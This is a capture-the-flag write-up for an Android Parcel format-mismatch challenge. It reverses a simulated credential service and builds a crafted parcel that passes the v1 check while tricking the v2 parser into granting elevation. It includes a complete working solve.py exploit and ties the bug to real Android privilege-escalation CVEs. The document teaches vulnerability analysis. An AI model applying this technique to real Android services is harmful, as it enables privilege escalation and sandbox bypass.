CREDVAULT (OmniCTF 2026 Quals) — Android Parcel Format Mismatch
A stripped Linux ELF simulating com.android.credentialservice.CredVaultService.
Two Parcel parsers operate on the same 24-byte blob with different field layouts — v1 has
a format_tag prefix that v2 removed. The elevation handler passes
cred_buf to the v2 parser instead of cred_buf + 4, shifting every
v2 field by one slot. Setting user_uid = AUTH_ELEVATED satisfies v1 (field is
unchecked) and satisfies v2's auth_level check at the same time.
Challenge setup
You get credvault — a stripped x86-64 Linux ELF simulating an Android system service that issues elevated credential tokens. The server runs your solve.py against a live instance listening on loopback and streams stdout back. Flag comes out of OP_READ_KEY only after a successful elevation sequence.
Binary TCP, little-endian:
- Request:
uint32_t op_code | uint32_t in_len | data[in_len] - Response:
uint32_t status | uint32_t out_len | data[out_len]
| Code | Name | Input |
|--------------|------------------|---------------------|
| 0xCA000001 | OP_CONNECT | - |
| 0xCA000002 | OP_WRITE_CRED | 24-byte Parcel blob |
| 0xCA000003 | OP_VALIDATE_CRED | - |
| 0xCA000004 | OP_ELEVATE_CRED | - <-- vulnerable |
| 0xCA000005 | OP_READ_KEY | - |
Step 1 — reversing credvault
Load in IDA or Ghidra. Find the main dispatch loop over the five op codes. Two __attribute__((noinline)) functions are called from the OP_ELEVATE_CRED handler — these are the two Parcel parsers.
validate_credential_v1
Reads a 24-byte cred_v1_t struct:
typedef struct {
uint32_t format_tag; /* [+0] must == 0xCA110001 (FORMAT_LEGACY) */
uint32_t user_uid; /* [+4] unchecked */
uint32_t auth_level; /* [+8] must == 0x00000001 (AUTH_STANDARD) */
uint32_t grant_bits; /* [+12] must == 0 */
uint32_t padding; /* [+16] must == 0 */
uint32_t checksum; /* [+20] must == XOR(all five fields above) */
} cred_v1_t;
user_uid at offset +4 is explicitly not checked. All other fields are validated before reaching the checksum.
elevate_credential_v2
Reads a 16-byte cred_v2_t struct — format_tag was removed in v2:
typedef struct {
uint32_t user_uid; /* [+0] unchecked */
uint32_t auth_level; /* [+4] must == 0xCA110042 */
uint32_t grant_bits; /* [+8] reserved */
uint32_t padding; /* [+12] reserved */
} cred_v2_t;
The only check is p->auth_level != AUTH_ELEVATED. Find AUTH_ELEVATED = 0xCA110042 as a CMP immediate in the disassembly.
Step 2 — the mismatch bug
In the OP_ELEVATE_CRED handler:
if (elevate_credential_v2(conn->cred_buf, conn->cred_len)) { /* should be cred_buf + 4 */
conn->elevated = 1;
...
The missing +4 means v2 receives the raw buffer starting at offset 0, not at offset 4 where the v2 layout actually begins. Every v2 field is shifted one slot left relative to what v2 expects:
Offset v1 name v2 name (what v2 actually reads)
[+0] format_tag user_uid
[+4] user_uid --> auth_level <-- v2 checks this for 0xCA110042
[+8] auth_level grant_bits
[+12] grant_bits padding
[+16] padding (end of v2)
[+20] checksum
auth_level = AUTH_ELEVATED at the v1 layout position (+8) does not work — v1 checks auth_level == AUTH_STANDARD (0x00000001) and rejects it. The only unchecked field in v1 is user_uid at +4, which happens to be exactly where v2 reads auth_level.
Step 3 — crafting the exploit Parcel
Set user_uid = AUTH_ELEVATED = 0xCA110042. v1 ignores it, v2 reads it as auth_level and grants elevation. The checksum ties it together — compute it as XOR over all five v1 fields:
FORMAT_LEGACY = 0xCA110001
AUTH_STANDARD = 0x00000001
AUTH_ELEVATED = 0xCA110042
fmt = FORMAT_LEGACY
uid = AUTH_ELEVATED # v2 reads this as auth_level
auth = AUTH_STANDARD # v1 checks this at +8
gb = 0
pad = 0
csum = fmt ^ uid ^ auth ^ gb ^ pad # = 0x00000042
parcel = struct.pack('<IIIIII', fmt, uid, auth, gb, pad, csum)
v1 sees: format_tag=FORMAT_LEGACY, auth_level=AUTH_STANDARD, grant_bits=0, padding=0, checksum=0x42 — all pass.
v2 sees at offset +4: 0xCA110042 = AUTH_ELEVATED — elevation granted.
Step 4 — solve.py
Required sequence: OP_CONNECT -> OP_WRITE_CRED -> OP_VALIDATE_CRED -> OP_ELEVATE_CRED -> OP_READ_KEY.
#!/usr/bin/env python3
"""
solve.py -- CredVault CTF challenge solution
Usage:
python3 solve.py <host> <port>
"""
import socket, struct, sys
FORMAT_LEGACY = 0xCA110001
AUTH_STANDARD = 0x00000001
AUTH_ELEVATED = 0xCA110042
OP_CONNECT = 0xCA000001
OP_WRITE_CRED = 0xCA000002
OP_VALIDATE_CRED = 0xCA000003
OP_ELEVATE_CRED = 0xCA000004
OP_READ_KEY = 0xCA000005
STATUS_OK = 0x00000000
def send_req(s, op, data=b''):
s.sendall(struct.pack('<II', op, len(data)) + data)
def recv_resp(s):
buf = b''
while len(buf) < 8:
chunk = s.recv(8 - len(buf))
if not chunk:
raise ConnectionError('server closed')
buf += chunk
st, ln = struct.unpack('<II', buf)
data = b''
while len(data) < ln:
chunk = s.recv(ln - len(data))
if not chunk:
raise ConnectionError('server closed')
data += chunk
return st, data
def build_parcel():
fmt = FORMAT_LEGACY
uid = AUTH_ELEVATED # v2 reads this as auth_level
auth = AUTH_STANDARD # v1 checks this at +8
gb = 0
pad = 0
csum = fmt ^ uid ^ auth ^ gb ^ pad
return struct.pack('<IIIIII', fmt, uid, auth, gb, pad, csum)
def solve(host, port):
s = socket.create_connection((host, port), timeout=30)
send_req(s, OP_CONNECT)
st, d = recv_resp(s)
assert st == STATUS_OK, f'CONNECT: {st:#X}'
sid = struct.unpack('<I', d)[0]
print(f'[*] connected session=0x{sid:08X}')
parcel = build_parcel()
send_req(s, OP_WRITE_CRED, parcel)
st, _ = recv_resp(s)
assert st == STATUS_OK, f'WRITE_CRED: {st:#X}'
print(f'[*] credential written ({len(parcel)} bytes)')
print(f' format_tag=0x{FORMAT_LEGACY:08X} user_uid=0x{AUTH_ELEVATED:08X}')
print(f' auth_level=0x{AUTH_STANDARD:08X} checksum=0x{FORMAT_LEGACY^AUTH_ELEVATED^AUTH_STANDARD:08X}')
send_req(s, OP_VALIDATE_CRED)
st, _ = recv_resp(s)
assert st == STATUS_OK, f'VALIDATE_CRED: {st:#X}'
print('[*] v1 validation: PASS')
send_req(s, OP_ELEVATE_CRED)
st, _ = recv_resp(s)
assert st == STATUS_OK, f'ELEVATE_CRED: {st:#X}'
print('[+] v2 elevation: GRANTED (parcel mismatch triggered)')
send_req(s, OP_READ_KEY)
st, data = recv_resp(s)
assert st == STATUS_OK, f'READ_KEY: {st:#X}'
print(f'[+] {data.decode()}')
s.close()
def main():
if len(sys.argv) != 3:
sys.exit(f'usage: python3 {sys.argv[0]} <host> <port>')
solve(sys.argv[1], int(sys.argv[2]))
if __name__ == '__main__':
main()
Expected output:
[*] connected session=0xCA1DCAFE
[*] credential written (24 bytes)
format_tag=0xCA110001 user_uid=0xCA110042
auth_level=0x00000001 checksum=0x00000042
[*] v1 validation: PASS
[+] v2 elevation: GRANTED (parcel mismatch triggered)
[+] CTF{<64 hex chars>}
Why this bug class matters
Android Parcel format mismatches have been an active production CVE class for over a decade. The mechanism here is structurally identical to each of these:
- CVE-2021-0928:
writeToParcel/createFromParcelfield ordering mismatch inOutputConfiguration— privilege escalation from app to system. - CVE-2023-20963:
WorkSourceparcel/unparcel logic mismatch — exploited in the wild to bypass the Android application sandbox. - CVE-2024-49746:
Parcel::continueWritereads from a different field layout than the writer — FD confusion and privilege escalation.
The root cause is always the same: a shared forwarding path passes the raw buffer to both parser versions without adjusting the pointer to match the newer layout. The fix here is one line: cred_buf + 4 instead of cred_buf.